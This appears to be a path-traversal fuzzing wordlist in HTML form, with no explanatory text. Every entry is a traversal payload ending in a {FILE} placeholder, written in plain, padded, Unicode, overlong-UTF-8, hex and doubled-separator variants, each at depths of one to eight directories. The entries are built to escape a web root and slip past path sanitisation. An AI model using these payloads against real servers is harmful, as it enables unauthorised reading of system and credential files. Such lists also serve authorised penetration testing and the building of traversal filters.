AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\..\{FILE}<br /> .../{FILE}<br /> .../.../{FILE}<br /> .../.../.../{FILE}<br /> .../.../.../.../{FILE}<br /> .../.../.../.../.../{FILE}<br /> .../.../.../.../.../.../{FILE}<br /> .../.../.../.../.../.../.../{FILE}<br /> .../.../.../.../.../.../.../.../{FILE}<br /> ...\{FILE}<br /> ...\...\{FILE}<br /> ...\...\...\{FILE}<br /> ...\...\...\...\{FILE}<br /> ...\...\...\...\...\{FILE}<br /> ...\...\...\...\...\...\{FILE}<br /> ...\...\...\...\...\...\...\{FILE}<br /> ...\...\...\...\...\...\...\...\{FILE}<br /> ..../{FILE}<br /> ..../..../{FILE}<br /> ..../..../..../{FILE}<br /> ..../..../..../..../{FILE}<br /> ..../..../..../..../..../{FILE}<br /> ..../..../..../..../..../..../{FILE}<br /> ..../..../..../..../..../..../..../{FILE}<br /> ..../..../..../..../..../..../..../..../{FILE}<br /> ....\{FILE}<br /> ....\....\{FILE}<br /> ....\....\....\{FILE}<br /> ....\....\....\....\{FILE}<br /> ....\....\....\....\....\{FILE}<br /> ....\....\....\....\....\....\{FILE}<br /> ....\....\....\....\....\....\....\{FILE}<br /> ....\....\....\....\....\....\....\....\{FILE}<br /> ........................................................................../{FILE}<br /> ........................................................................../../{FILE}<br /> ........................................................................../../../{FILE}<br /> ........................................................................../../../../{FILE}<br /> ........................................................................../../../../../{FILE}<br /> ........................................................................../../../../../../{FILE}<br /> ........................................................................../../../../../../../{FILE}<br /> ........................................................................../../../../../../../../{FILE}<br /> ..........................................................................\{FILE}<br /> ..........................................................................\..\{FILE}<br /> ..........................................................................\..\..\{FILE}<br /> ..........................................................................\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\..\..\..\{FILE}<br /> ..%u2215{FILE}<br /> ..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> %uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> ..%u2216{FILE}<br /> ..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uF025{FILE}<br /> ..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> %uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> ..0x2f{FILE}<br /> ..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> 0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> ..0x5c{FILE}<br /> ..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> 0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> ..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> %c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> ..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> %c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> 